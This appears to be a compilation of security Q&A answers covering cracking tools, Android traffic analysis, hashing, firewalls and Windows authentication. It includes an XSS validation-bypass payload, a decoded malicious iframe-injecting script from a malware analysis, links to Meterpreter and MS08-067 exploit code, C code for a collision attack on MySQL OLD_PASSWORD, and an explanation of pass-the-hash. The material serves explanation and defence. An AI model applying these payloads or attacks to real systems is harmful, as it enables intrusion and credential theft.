Exploiting IPv6 in LAN : it's often an IPv4 LAN's but people forget to disable IPv6, so it's a prioritized by OS, especially Windows, and sending a router announcement makes you a LAN owner(I performed it myself, it works)
Stealing Kerberos tickes

... and too many other ways to mention them all


Aircrack-ng does not have cuda implementation. Are there alternatives?

Theres a fork of aircrack using cuda.

Check it out here

Alternatively the following listed supports CUDA password cracking too.

John the ripper
hashcat

You may want to consider the other specific cracking tool if you are using rainbow tables instead of dictionaries.

Rainbowcrack
Cryptohaze


XSS and XXE payload in XML attributes value

XML Parsers usually interpret Unicode so you could use the format \u00HH and bypass validations for <>,for example:

\u003Cscript\u003Ealert(1);\u003C/script\u003E

When XML Parser read the data structure to show on view, then it interprets the Unicode Characters and the result is the following:

<script>alert(1);</script>

I hope this information helps you.


How to Detect if my Android Phone Came With Pre-Installed Malware?

Setting up a proxy to view network traffic

  Is there any way to check if this is malware/adware, or if it has sent off any sensitive data? What tools would allow me to do this?

You can set up a proxy on your computer and set it on your phone, so you can see all the connections from and to your phone. OWASP ZAP is one possibility, and it's free. Download, install and start it. Then go to Tools > Options and select Local proxy on the left. Set the address to your computers internal network IP (usually 192.168.x.x or 10.x.x.x). Make sure your phone will be connected to the same network as your computer. Note the port (by default it is 8080, you can leave it this way). Click OK.

Now on your phone set this as a proxy. In your phone it might be different, but in my phone (Android 4.4) if I go to the wifi settings and click on the connected wifi it opens up the Network details page, scroll down and there is Proxy. Set it to Manual, then set the Hostname to your computer's IP (the one you used before) and the Port to 8080 (or if you have changed it, use that one). You can leave the Bypass for field empty.

From now on you will see all the http connections from your phone toward the internet in ZAP. To also see encrypted https traffic, you will need to add ZAP's root certificate to the phone's local certificate storage. To do this first go to ZAP, Tools, Options again and select Dynamic SSL Certificates. Click save and copy it to your phone's SD card. Then on your phone go to Settings, Additional settings, Privacy, Credential storage, Install from SD card, select the certificate file and add it. Please note, that your phone might have a different settings structure, so you need to search for Credential storage, most likely under Privacy or Security.

Now ZAP will also display your https traffic (unless certificate pinning was used by the app designer). ZAP will group the traffic by domain, so you can see what else your phone is doing apart from Google Play Services and alike.

Get the list of installed applications and their apk file

  If I can get into it's apk binary with any tool built into Kali Linux that would be great

Install adb

To get the apk file you can use the android debug bridge, adb. It is not preinstalled on kali, but you can easily install it. Based on this tutorial all you need to do is to run:

sudo add-apt-repository ppa:phablet-team/tools && sudo apt-get update

and

sudo apt-get install android-tools-adb

Setup your device driver(might be optional)

The next step is probably not necessary under kali, but under Ubuntu you need to do the followings:

Create an empty file in the /etc/udev/rules.d/ directory with the following name:

If you’re using the Ubuntu version Gusty/Hardy/Dapper, create the file with the name 50-android.rules. Execute the following command to do so:

sudo gedit /etc/udev/rules.d/50-android.rules

If you’re using the Ubuntu version Karmic Koala/Lucid Lynx/Maverick Meerkat, create the file with the name 70-android.rules. Execute the following command to do so:

sudo gedit /etc/udev/rules.d/70-android.rules

Type the following content in the editor and save it.

For Gusty/Hardy: SUBSYSTEM==”usb”, SYSFS{idVendor}==”USB-VENDOR-ID”, MODE=”0666″
For Dapper: SUBSYSTEM==”usb_device”, SYSFS{idVendor}==”USB-VENDOR-ID”, MODE=”0666″
For Karmic Koala: SUBSYSTEM==”usb”, SYSFS{idVendor}==”USB-VENDOR-ID”, MODE=”0666″
For Lucid Lynx: SUBSYSTEM==”usb”, SYSFS{idVendor}==”USB-VENDOR-ID”, MODE=”0666″
For Maverick Meerkat: SUBSYSTEM==”usb”, ATTR{idVendor}==”USB-VENDOR-ID”, MODE=”0666″

Source and vendor id here.

Enable USB debugging on the phone

This step is also for kali again: On your phone enable USB debugging in the Settings under Developer options. In Android 4.2.x and up Developer Options is hidden by default, to make it visible, tap seven times the Build Number (Settings > About Phone > Build Number), and developer options will appear.

Get the list of applications and the apk files

Now connect your phone to your computer via USB, and you can get the apk file with adb commands (as explained here):

1) Determine the package name of the app, e.g. "com.example.someapp".

adb shell pm list packages

2) Get the full path name of the APK file for the desired package.

adb shell pm path com.example.someapp

The output will look something like this: package:/data/app/com.example.someapp-2.apk

3) Pull the APK file from the Android device to the development box.

adb pull /data/app/com.example.someapp-2.apk path/to/desired/destination/on/your/computer


OWASP ASVS asking for client-side validation?

All right then, answers to my question on the ASVS mailing list shed some light on the issue. Personally I find the following two to be the strongest arguments:

While client-side validation can be bypassed, it helps to detect attacks. Suppose for instance that there is an input field that length limited to 10 digits. If this is supposed to be client-side validated and the application receives something longer or a string containing non-digits, then it is (in a fuzzy sense) clear that something is going on.
Applications with a lot of JavaScript that modifies the DOM where the server actually never sees some of the input require this. I realized only then that ASVS lacks a dedicated section on client-side testing (as the Testing Guide has).


How does Cipher Block Chaining relate to AES?

CBC is just one of the modes of operation that can be applied to a general block cipher, i.e. it is not tied specifically to AES. For die diverse modes of operation for block encryption see: http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation


Only HTTP(S) port is open. Why do I need to worry about unpatched software?

Your key assumption is impossible. A "drive-by-download-immune browser" capable of surfing the modern web does not exist. Even if no known public vulnerabilities exist for a certain browser, there is always the possibility of zero-days.

You don't download anything, but every time you visit a website with Javascript enabled, you are allowing arbitrary code execution on your machine and the only thing protecting you is your browser's sandbox. Refer to the previous point about zero-day vulnerabilities.

Sure, you can have a very secure system by turning everything else off and surfing the web with a text-only browser but that is a highly unusable system.


Is it risky to report a security issue to a company or organization via non-dedicated channels?

It turns out that in this instance, contacting them over unofficial means (Facebook private messaging) resulted in a response within about 48 hours followed by a quick patch to remove the injected script.

I can't provide a general, non-anecdotal answer to this question, though.


What does "hosts-modifier" tag in VirusTotal Intelligence means?

It means the malware tries to modify the file named "hosts" (located inside "C:\windows\system\drivers\etc\"), in an attempt to alter the address the system will use to communicate with a specific DNS name.

For example, by adding the entry

127.0.0.1   update.microsoft.com

your system will always know that the IP address for "update.microsoft.com" is "127.0.0.1", and it would not need to make requests to DNS servers for that domain address.

The DNS name he tries to put there is stated under "Behavioural information", as you may see in this example.


OpenVPN seamless migration from 1024-bit RSA to 2048-bit RSA keys

For the bits where RSA is used, OpenVPN actually uses SSL/TLS, in which the asymmetric keys are used as part of X.509 certificates. There is no intrinsic limitation(*) for key size in X.509 certificates, so switching to 2048-bit keys should "just work". Larger keys may hit some internal limitations in some implementations, but OpenVPN uses OpenSSL which is perfectly up to the task.

Arguably, SSL implementations which cannot use RSA keys larger than 1024 bits ought to be changed, because they are sloppy. 1024-bit RSA is not (yet) broken (current record is for a 768-bit key) but it seems to be within reach of current technology (using a substantial amount of millions of dollars, and a very specific to-be-built machine). Various bodies (e.g. NIST) have strongly recommended moving to larger keys for several years. Therefore, an implementation which does not support RSA keys larger than 1024 bits is likely to be unmaintained, which is never a good thing.

(*) Actually the length of a well-formed X.509 certificate is limited to 702223880805592151456759840151962786569522257399338504974336254522393264865238137237142489540654437582500444843247630303354647534431314931612685275935445798350655833690880801860555545317367555154113605281582053784524026102900245630757473088050106395169337932361665227499793929447186391815763110662594625664 bytes, which allows for a maximum RSA key length of less then 5617791046444737211654078721215702292556178059194708039794690036179146118921905097897139916325235500660003558745981042426837180275450519452901482207483566386805246669527046414884444362538940441232908842252656430276192208823201965046059784704400851161354703458893321819998351435577491134526104885300757005312 bits (you have to account for a few thousand bits for the other certificate fields).


Security risks with handling ZIP archives in web applications

And remote code execution, e.g. CVE-2016-2334

There is no 100% secure way to process them, however some mitigations are to make sure that any process used to decompose an archive file runs with the least privilege possible and to limit how long decomposition of a single archive can take place.


IMEI.info knows my phone before I put sim

Have a look at the IMEI article on Wikipedia and you will find out that the IMEI:

  ... includes information on the origin, model, and serial number of the device.

So no there is magic there and it has nothing to do if the device is resold are not, because the information are all contained in the IMEI itself. The IMEI is generated by the manufacturer  of the device and relates to the hardware. It does not depend on registering the device, carrier, selling, phone number, SIM card or similar.


Javascript containing a long hexadecimal string and eval: is this suspicious?

I found out what it does (please be lenient with me, I am not a javascript developer)

What can be easily seen, is that the script invokes String.fromCharCode() on the numbers present on the a string to create a new String, and execute it. The code the a string get's translated to is:

function zzzfff() {
 var klccr = document.createElement('iframe');

 klccr.src = 'http://ninoromano.it/DNGJxdCW.php';
 klccr.style.position = 'absolute';
 klccr.style.border = '0';
 klccr.style.height = '9px';
 klccr.style.width = '7px';
 klccr.style.left = '1px';
 klccr.style.top = '1px';

 if (!document.getElementById('klccr')) {
 document.write('

');
 document.getElementById('klccr').appendChild(klccr);
 }
}

function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays=1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');

zzzfff();

Now, I am not sure about that (remember I am no javascript developer) but it seems to be code that steals cookies (session hijacking perhaps)?

EDIT

On further research:

The script is checking if there is a specific cookie present (Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation") and if it is not it creates it.
It then creates a new element in the document, which it modifies to make it very difficult to notice (7 pixels width, 9 pixels height), and which runs a php script available at http://ninoromano.it/DNGJxdCW.php. If you visit this, it returns "ok" and nothing else in the page's code (the domain appears to be compromised). (I can't get any more information beyond that)

Most likely it is a session hijacking attempt.


For being targeted;

If you need a fancy source code (which is real) https://github.com/rapid7/meterpreter/blob/master/source/server/server_setup_win.c you can check this
If you need a fancy shellcode (which is real) have a look https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py it will be at line 54
the most well known vulnerability of post 2004 is MS08-067. You can see that exploitation steps at https://www.youtube.com/watch?v=joT8NxlXxVY.
the most well known payload / backdoor is meterpreter.

PS. There is hundreds of exploits for post 2004, I just shared most known and nearest date.


Which cross-platform password managers support encryption using a hardware token?

Looks like I mis-read the question so thanks to Dracs for pointing that out.

I had a similar problem and went with local storage for certain passwords across Windows and Mac. I went with KeePass for both Windows and MAC, though I had to use different versions as KeePass isn't officially supported on on Mac afaik and it's called KeePassX and the MAC version is a little flaky tbh but it works. You can have two separate Yubikeys, one for each platform, with an appropriate back-up scenario in case you lose the key. The link to setting up Yubikey on Keepass is here - http://keepass.info/help/kb/kb090227_yubikey.html - scroll to the bottom of the page.

This solution really isn't scalable (as you need multiple keys and it's not as easy-to-use as say 1password or Lastpass), is very manual but it works and it ensures that the password database on the two systems are encrypted using the static password from yubikey.

There's currently a feature request to integrate Yubikey - http://support.agilebits.com/discussions/1password-38-for-mac-from-agilebits-website/17016-yubikey-support - so that would possibly help you but the 1password team don't seem keen on incorporating that functionality.


The "key file" is hashed before use. I strongly doubt that there would be any interaction with the file structure (being a RSA key file) that would survive the hashing, but, generally speaking, you are right: you should refrain from reusing a cryptographic secret (like a private RSA key) for two distinct purposes. It is actually a requirement in many security architecture-related standards (e.g. FIPS 140-2). I suggest that you create another file (dd if=/dev/urandom of=keyfile bs=16 count=1) which you will transport along with your id_rsa, using the same protection. 16 random bytes are more than enough.


What to do if a vendor does not assign a CVE for an acknowledge vulnerability?

Most likely they would like to release a patch before making a public CVE. If they released a public CVE before they patched it would only hurt themselves, as the current version would be open to attack. Once they release a patch and are able to notify their customers, then I would expect that they would release a CVE to get the general public caught up.


Does a WPA2-PSK authentication only succeed if both parties know the pre-shared key?

In PSK mode, the Pairwise Master Key (PMK) is derived from the passphrase.
Both the supplicant and the authenticator prove that they have knowledge of the pre-shared key to one another:

[Supplication to authenticator Message B] contains a MIC value and thus proves that the supplicant knows the PMK
[Authenticator to supplicant Message C] verifies to the supplicant
that the authenticator knows the PMK and is thus a trusted party.

So therefore, Android Smart Unlock could use the fact that the phone has authenticated to a particular WPA2 network as an indicator that it is in a secure location. Of course this does not verify that the AP hasn't been stolen, cloned or otherwise compromised.


how to assess mobile device managment containers

This is done not just with black box testing, but also full code review, white-box testing, and everything in between, and is generally provided by consultants experienced in this space. I'm not convinced there is much value in end-user organisations conducting their own testing, as you will spend a lot of time rebuilding after each time you accidentally wipe the device :-)

And you are slightly mistaken in your assumption that all bets are off if the attacker gets hold of the device. The whole point of it is that it doesn't matter if an attacker acquires the device - the security is such that the container is resistant to attack, at least to the extent that a small number of failed attempts wipes the key, leaving the container useless.


Web app with iframe and user - how to deal with session?

First, it's not a good idea as far as I know to put a secure application in an iframe because that expose you to security issue. The biggest one is probably clickjacking if all else is done correctly. This is why you want to use the header option X-FRAME-OPTIONS to block it from loading in an iframe.

Next, you want to communicate between the partner site and your own site, in the iframe. The communication between the 2 is very limited because of the same origin policy. If 2 websites, don't have the same base url, which means they don't have the same origin, can't directly talk together. Which is a very good thing or you would have big security issue.

  User does not have to login to our app, it only has to login to
  partner application - parent site and use our iframe as logged in.

This assume that you trust every partner site at 100% since they have all the information needed to log in to your site. Is it the case?

The type of login you are trying to do is similar to OAuth, where third party are granted partial access to your site in order to access some information. It's not exactly what you want to do, but I would look at how it's done.


Can file recovery tools recover deleted small files from SSD drive's NTFS Master File Table?

I haven't tested this particular scenario, but I would expect that TRIM does NOT wipe small file MFT content.

TRIM wipes a deallocated (deleted) file.

The MFT is a file. Removal of a small file entry from the MFT deallocates the MFT entry header, marking it as available. The MFT file is not deleted, so TRIM would not run against an entry in the MFT.

Similarly deleted database entries on an SSD are not wiped by TRIM because the database file is never deleted.

So yes, under the right circumstances and tools, recovery is possible.


Unless it is encrypted before going to the server, there isn't much point in encrypting it on the server.  If the server is going to do bad things, it can just not encrypt it.  Additionally, decryption on the other end would have to be done on the server, so the recipient server could also leak it.

The connection in between servers can be secure if TLS (an existing but under-utilized) technology is used between servers.  Similarly, TLS can be used between the client and server to protect the message in transit the entire way.  Simply having a mail server that refuses to talk to a non-TLS supporting mail server would do everything your proposed system would.

If you need secrecy from the servers as well, then you have no choice but to encrypt/decrypt on the final client which is what PGP/GPG currently do already.


Do password complexity requirements reduce security by limiting search space?

The short answer is yes, but not really. Password complexity requirements do reduce the search space slightly by limiting the number of possible passwords. However, users don't select passwords uniformly over the set of all possible passwords (they're biased toward words, dates, etc...).

Combinatorial Analysis

To keep things simple, let's assume we've asked the user for an eight-character, case-insensitive alphanumeric password (/^[a-z0-9]{8}$/ if you'd like).

Without a complexity requirement, there are 36^8 possible passwords.  This is approximately 2.8 trillion possibilities.

Let's say you then impose the requirement that at exactly one character is a digit. There are just ten choices of digit, but it could appear in any of the eight positions. This leaves 26^7*10*8 possibilities, or approximately 640 billion possibilities.

Of course, users are unlikely to use strange symbols in their passwords without a complexity requirement. If numbers are our stand-in for weird symbols in this case, that means each position really only has 26 likely options.  This leaves 26^8, or approximately 208 billion possible passwords. The password with the complexity requirement is more than 3x better than unrestricted input from a biased user.

Summary

So yes, complexity requirements reduce the space of possible passwords. However, they help when there is a known bias toward a small subset of the possible passwords. Real complexity requirements don't limit users to a single special character, and there are many more than ten special characters possible. The benefit of real complexity requirements (including punctuation, unbounded length, and "at least one" requirements) versus allowing users to input any (possibly biased) password is much greater than what I outlined here.


This is probably a question that should be in Law.SE, but I'll try to write a quick answer anyway.
As far as I know, the users have no right to know any technical details or know how security controls are implemented. However, I believe that data controllers and data processors have the right to request specific technical details from other data processors they are relying on. In other words, you, as a user, have no right to ask StackExchange how they hash the passwords. However, StackExchange might have the right to ask their hosting provider if and how they encrypt their HDD, for example.
My opinion is based on the fact that I don't think I have ever seen such rights mentioned in the sections dedicated to the data subjects (the users), but I have seen something relevant in the sections dedicated to the data processors.
Here's an excerpt from article 28 (Processor), emphasis mine:

3. Processing by a processor shall be governed by a contract or other legal act under Union or Member State law, that is binding on the processor with regard to the controller and that sets out the subject-matter and duration of the processing, the nature and purpose of the processing, the type of personal data and categories of data subjects and the obligations and rights of the controller. That contract or other legal act shall stipulate, in particular, that the processor:
[...]
(c) takes all measures required pursuant to Article 32 (note: Article 32 is "Security of processing");
[...]
(f) assists the controller in ensuring compliance with the obligations pursuant to Articles 32 to 36 taking into account the nature of processing and the information available to the processor;
[...]
(h) makes available to the controller all information necessary to demonstrate compliance with the obligations laid down in this Article and allow for and contribute to audits, including inspections, conducted by the controller or another auditor mandated by the controller.


Does avira firewall need to be enabled along with comodo firewall?

No. To be clear, you should not use more than one firewall per computer. Choose the best choice you can, meaning the one which offers the best comprehensive protection against network-based attacks, on a per-network basis. I don't think you should exclude your other options.

In fact, don't necessarily use this as an example but many home networks go without firewalls on local workstations, with the exception of perhaps one in the form of home router/modem combination. It's generally accepted that the most significant risks are external/public facing or are facilitated by entirely different components such as the USB controller, and firewalls can be seen as a nuisance to some.

I have virtual machines installed. Each virtual machine has its own connection to a virtual network. If I were to install firewalls on each virtual machine, this would probably bottleneck the network connectivity I have between the host OS and guest OSes. I wouldn't recommend installing a firewall onto a VM instance, unless it's a commercially hosted VM instance, and even then your host provider might have a perfectly usable external firewall for you to try out!


Forcefully revoking any used permissions by apps on Android by (hot reloading firmware)?

User authorised permissions can be revoked from device settings. SYSTEM_ALERT_WINDOW is shown as Draw over other apps in device settings which is known for infamous chat head bubble in facebook messenger. Because of its potential abuse by malvertising apps,

Google started restricting the areas in which overlays can draw back in Android Oreo, and they’ve completely removed access to the API for Android Q (Go Edition.) The biggest problem with SYSTEM_ALERT_WINDOW is that, despite the fact that users are supposed to manually grant the permission through a special permission management screen, the Google Play Store automatically grants access to the permission upon installation. In Android Q, access to the SYSTEM_ALERT_WINDOW permission is transient: side-loaded apps only have access to the permission for 30 seconds and apps installed via Google Play have access to the permission until a device reboot.

But in a future Android release, SYSTEM_ALERT_WINDOW will be fully deprecated, and all Android apps using it will have to transition over to the new Bubbles API introduced in Android Q. [1]

MalLocker is exploiting this design problem that prevents user to reach device settings to uninstall the malware or revoke its permission. No other permissions can block user from exiting/switching/uninstalling/force stopping a malicious app. adb is only available from developer settings. However, some OEMs allow adb from recovery mode. Once a permission is revoked, either app crashes for unhandled exception or reprompt user to allow permission again.
An infected android device can infect other connected devices but that largely depends on the type of intrusion. A malware with root access on android device can change the device identity. It can show PC that it is a LAN device instead of MTP or it's a keyboard. It's no different than badUSB attack once the malware controls firmware of the device. Whereas a malvertising app with no exploitative features is harmless. Every app runs inside of ART sandbox except adb daemon (adbd). Theoretically, a vulnerability in adbd and adb sdk can be used by unprivileged apps to deliver payload in PC but this setup will require chain of high severity vulnerabilities to work.

[1] Bubbles in Android Q will fully replace the overlay API in a future Android version


Comparison is complex because scrypt and bcrypt don't play on the same parameters.

For bcrypt, the computation involves doing a lot of operations over a 4 kB array of RAM. The array is accessed in a pseudorandom way, so the only way to make this run at a decent speed is to have an actual block of RAM of at least that size. This is true for normal CPU, that have (typically) about 32 or 64 kB of very fast RAM (called "level 1 cache"). This is not true of GPU, where there is no per-core fast RAM (there is RAM in a GPU, but it is shared). Good FPGA has embedded fast RAM blocks of a few kilobytes; thus, a sophisticated attacker using FPGA will get an edge over the defender (because the defender uses a PC; that's the central assumption).

With scrypt, the operations are somewhat different, and, in particular, there is a much bigger array of RAM (size if configurable but a typical size would use several megabytes). For a CPU, a bigger RAM needs exercising level 2 cache or even main RAM, which is slower than level 1 cache. However, a PC suffers much less than a FPGA when going to big RAM arrays. So the theory is that the best architecture to attack scrypt is, indeed, a PC, just like the one that the defender use. This brings attacker and defender back to strict equality of means, which is the best that we can hope for.

What matters is not the actual speed of either algorithm, but the relative efficiency of different architectures when implementing the algorithm. A password hashing function is "optimal" if the best architecture to crack passwords (the hardware which will allow the highest number of tried passwords per second, for a given budget) is what the defender has to use, i.e., basically, a PC. Therefore, comparing bcrypt with scrypt means trying to measure how well either of them fulfils that ideal characteristic. For instance, with bcrypt, we know that 10000$ worth of FPGA allow for more cracking performance than 10000$ of PC.

We can put figures on these, but these will be extremely sensitive to a lot of architectural and economic parameters. Every year, availability of new hardware, and evolution of hardware prices, considerably alter any figure you could have gathered. Moreover, the RAM size and time budget of scrypt also modify the picture. The original scrypt article uses assumptions which are not necessarily realistic (e.g. that a normal user accepts a 5-second delay for login, and that a busy server has no more than a dozen login attempts per minute); moreover, the estimates were done for 2009 hardware -- what kind of silex did they use at that time ?

Summary: I don't have any reference to any recent comparison, but for the reasons explain above, I can claim that, with high probability, any such comparison that you may find will probably be quite meaningless and inapplicable to your own situation.


Sent to you. Bob is simply spoofing your number not replacing/sharing it with you on the phone network. He can send on your behalf but not (as far as I know, or at least as easily) receive on your behalf.

EDIT: The only way this appears to be possible in such a way that Bob spoofs a number and can send and receive messages on the spoofed number is with much more unique software that generates "virtual SIM's" (as they called them) using fake, un-registered numbers.

Example of send and receive on spoofed number service using fake number.

The more common SMS spoofing in-which the spoof'er piggy-backs off a real number, they can only send not receive as all they are doing is manipulating the SMS headers.

A couple resources I found that cover this:

Guy strangely receiving phone calls and SMS complaints from people saying he called them when he did not.

Q/A site where some asked about a semi-related question.

Sorry about lacking technical quality in these resources, this is not a very well formally documented "attack" since it appears every service that does SMS spoofing does it a little different than the last.


WPS would generally only be used for the initial connection because the wireless network settings (pass-phrase/SSID) are saved on the connecting device. I don't know if it is possible to "force" clients to connect every time with WPS. If it is...I would not recommend it. WPS is insecure. A quick search for "WPS Hack" on a search engine will provide you with further information. Generally it is recommended that the WPS feature should be disabled.


Assuming the iframes have the same origin so that you do not have to remove the X-Frame-Options: sameorigin header, or that Clickjacking is not an issue in them. (There is a allow-from token specified, but older browsers don't support it).

The main remaining issue with using frame is, that you might end up displaying untrusted content, while the user still sees your domain in the address bar. For example there may be a link that is missing the target="_top" attribute or you might want to display foreign content intentionally.

This foreign content may for example display a form "Your session has expired, please login again" with your layout. The address bar will show your domain.


I am not aware of any published cryptanalysis on MySQL OLD_PASSWORD(), but it is so weak that it is kind of a joke. It could be given as an exercise during a cryptography course.

Update: a cryptanalysis similar to the meet-in-the-middle described below was published in F. Muller and T. Peyrin
"Cryptanalysis of T-Function-Based Hash Functions"
in International Conference on Information Security and Cryptology - ICISC 2006  in 2006, with a more generic description, and some optimization to find short passwords and keep in RAM.

For instance, here is a C code which "reverts" the internal state:

static int
oldpw_rev(uint32_t *pnr, uint32_t *pnr2, uint32_t add,
        unsigned char *cc, unsigned len)
{
        uint32_t nr, nr2;
        uint32_t c, u, e, y;

        if (len == 0) {
                return 0;
        }

        nr = *pnr;
        nr2 = *pnr2;
        c = cc[len - 1];
        add -= c;

        u = nr2 - nr;
        u = nr2 - ((u << 8) ^ nr);
        u = nr2 - ((u << 8) ^ nr);
        nr2 = nr2 - ((u << 8) ^ nr);
        nr2 &= 0x7FFFFFFF;

        y = nr;
        for (e = 0; e < 64; e ++) {
                uint32_t z, g;

                z = (e + add) * c;
                g = (e ^ z) & 0x3F;
                if (g == (y & 0x3F)) {
                        uint32_t x;

                        x = e;
                        x = y ^ (z + (x << 8));

                        x = y ^ (z + (x << 8));
                        x = y ^ (z + (x << 8));
                        nr = y ^ (z + (x << 8));
                        nr &= 0x7FFFFFFF;
                        if (oldpw_rev(&nr, &nr2, add, cc, len - 1) == 0) {
                                *pnr = nr;
                                *pnr2 = nr2;
                                return 0;
                        }
                }
        }

        return -1;
}

This function, when given the internal state after the len password characters given in the cc[] array (nr and nr2, two 31-bit words, and the add value which is the sum of the password characters), computes a valid solution for nr and nr2 before the insertion of the password characters. This is efficient.

This leads to an easy meet-in-the-middle attack. Consider the sequences of 14 lowercase ASCII letters, such that each letter is followed by its complement (the complement of 'a' is 'z', the complement of 'b' is 'y', and so on...). There are about 8 billions such sequences. Note that the sum of the characters for any of those sequences is always the fixed value 1533. Take N of those sequences; for each of them, compute the corresponding hash with OLD_PASSWORD(), and accumulate the values in a big file: each entry contains the sequence of characters, and the corresponding nr and nr2. Then sort the file by the 62-bit nr/nr2 pair. This file is a big table of: "using this sequence, we get from the initial values to that internal state".

Then takes the N sequences again, and this time use oldpw_rev() (as shown above) for each of them, using the actual attacked hash as starting point for nr and nr2, and 2*1533 == 3066 for add. This will given you N other pairs nr/nr2, each with a corresponding sequence. These values are accumulated in another file, which you again sort by 62-bit nr/nr2 pair. This second file is a big table of: "using this sequence on that internal state, we obtain the hash value which we are currently attacking".

At that point you just have to find two matching pairs, i.e. the same nr/nr2 in the first file and the second file. The corresponding 14-character sequences are then the two halves of a 28-character password which matches the hash output. That's probably not the password which was used in the first place, but this is a password which will hash to the same value and will be accepted by MySQL. Chances are high that you get a matching pair when N reaches 2 billions or so (we are in a space of size 262, so it suffices that N is on the order of sqrt(262)).

This attack has work factor about 237 (accounting for the sorting step), which is vastly smaller than the 262 work factor that could theoretically be achieved with a hash function with a 62-bit output (which is already too low for proper security). Thus, the OLD_PASSWORD() function is cryptographically broken.

(There are probably much better attacks than that.)


How do I know if I have a keylogger from my Flash client on Windows 7?

If you are worried about particular files, you can upload them to Virustotal so that they are checked by popular AV software. Keep in mind that sophisticated malware could detect that and remove itself from the file before it is uploaded, so that the AV scanner wouldn't find anything suspicious.

Apart from that you can download free (check the license if you can also use them for business use!) ISO images from different Anti Virus software vendors which you can boot from and check your system. The benefit of this approach is, that any malware which might have infected your Operating System will not be able to start (since you don't boot your Operating System) and can't hide itself therefore. You can put several scanner on one CD/DVD or USB stick with tools like XBoot, so you only need to create on CD/DVD than several ones. These tools will add a bootloader to your CD/DVD or USB stick which will let you choose between the different scanner on boot. Here are examples of  Anti Virus ISOs from Kaspersky and Avira:

http://www.avira.com/en/download/product/avira-rescue-system

http://support.kaspersky.com/viruses/rescuedisk

You will find a lot more from other companies like F-Secure, AVG and so on via your favorite search engine. I would recommend to download them on a system, which you don't suspect to be infected by malware and handle them.

If you find malware, I would recommend a fresh re-installation of the Operating System to make sure you removed the malware completly. Keep in mind that you also should check any USB mass storage devices, backup devices etc. for malware. Again use multiple scanner.

Be aware that these solutions might not find recent malware. It might be wise to contact a security expert who could do detailed analysis of your system. Analysis of unknown malware is not trivial.


Why is a system composed of two Bell-LaPadula-secure systems not necessarily Bell-LaPadula-secure?

The Discretionary Security Property is an access matrix that is linked to that particular system.

When you combine two systems, you must rigorously review the access matrix that will be assigned to the new composite system.

In cases where the classifications and compartments do not align perfectly, careful consideration is necessary to maintain a level of security that is equivalent or better.

In addition, there is the possibility that the scope of information available in each system is different. The aggregation of information possible after the systems are combined may exceed the intended security level, even if the original classifications and compartments aligned perfectly. The original access matrix was based on assumptions about what the information that the system would hold, and those assumptions are no longer true.

The original Bell-LaPadula model does not address either of these concerns, but any modern efforts should be capable of addressing the issues with some planning.


The best advice I can give you is to read the definitive guide to forms-based website authentication on StackOverflow. It's pretty much the best answer you'll ever need, and it includes plenty of links to further reading.


Is a ddos attack that makes ssh auth attempts a possible way for attackers to significantly impact your system?

DDoS attack is distributed denial of service. By opening a large amount of connections to your server, attacker can reach the maximum limit of parallel authentication requests of ssh server (defined in sshd_config variable MaxStartups) and prevent valid authentication requests to fail. Additionally, an unauthenticated session from an attacker is dropped after the time defined as LoginGraceTime in sshd_config (default 120s).

Fortunately, this feature is implemented in a way that should limit DDoS attacks by using "random early drop" using three values: "start:rate:full". Default value is 10:30:100, which translates to:

  sshd(8) will refuse connection attempts with a probability of “rate/100” (30%) if there are currently “start” (10) unauthenticated connections.  The probability increases linearly and all connection attempts are refused if the number of unauthenticated connections reaches “full” (100).

(from manual page for sshd_config(5))

This means that attacker can't "kill" your system, but at some point, you would need to retry before you will get connected.


What harm is there in obtaining password hashes in a Windows environment?

TL;DR: Because of how Windows authenticates network users in a non-Kerberos (non-Active Directory) scenarios, password hashes work just as well as passwords for authenticating network users.

Long version: There are two traditional ways to use a password to authenticate someone:

The client sends the password to the server (traditionally, in cleartext, although newer protocols use encryption).  The server takes the password, hashes it, and compares it to the password hash it has stored. If the hashes match, then the client is assumed to have the correct password and is treated as authenticated.
Challenge-response: The server generates a challenge (a random byte sequence) and sends it to the client. The client takes the challenge, combines it with the client's password, hashes the result, and sends the hash to the server.  Meanwhile, the server takes the challenge, combines it with the password it has stored, and hashes the result.  If the two hashes match, then the client is treated as authenticated.

Note that, under a challenge-response scheme, the password is never actually sent to the server (which is good), but the server needs to know the password (which is bad).  The first approach is the traditional Unix approach; the second is the traditional Windows approach.

To mitigate the "server needs to know the password" disadvantage of challenge-response, many challenge-response implementations use a hash of the password.  In other words, instead of comparing the hash of (challenge + password), implementations compare the hash of (challenge + hashed password). However, in this case, the hashed password is still all you need to access the service (because a malicious client can send the hash of (challenge + hashed password) even if it doesn't know the cleartext password). So hashing passwords under a challenge-response scheme make it harder to get a cleartext password that could presumably be used to attack other services, but it makes no difference in terms of the security of the service itself.

Further reading and references:

https://www.toshellandback.com/2017/02/11/psexec/

  Once hashes are obtained, cracking them to uncover the plaintext password can be a long and arduous task (assuming the passwords don’t succumb to wordlists or rainbow table attacks).  Luckily for us, Windows will gladly accept NTLM hash values in many situations, such as accessing a network resource by its IP address (vs. hostname) or connecting to a device that isn’t joined to the Domain.  The only only time hashes would not be exchanged would be when requesting network resources in a Kerberos-exclusive environment, but that type of implementation is rare and can be problematic for many organizations to implement.

https://en.wikipedia.org/wiki/Challenge%E2%80%93response_authentication

  Many (but not all) challenge-response algorithms… require both the client and the server to have a shared secret. Since the password itself is not stored, a challenge-response algorithm will usually have to use the hash of the password as the secret instead of the password itself. In this case, an intruder can use the actual hash, rather than the password, which makes the stored hashes just as sensitive as the actual passwords.

https://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/passdb.html#id2588057

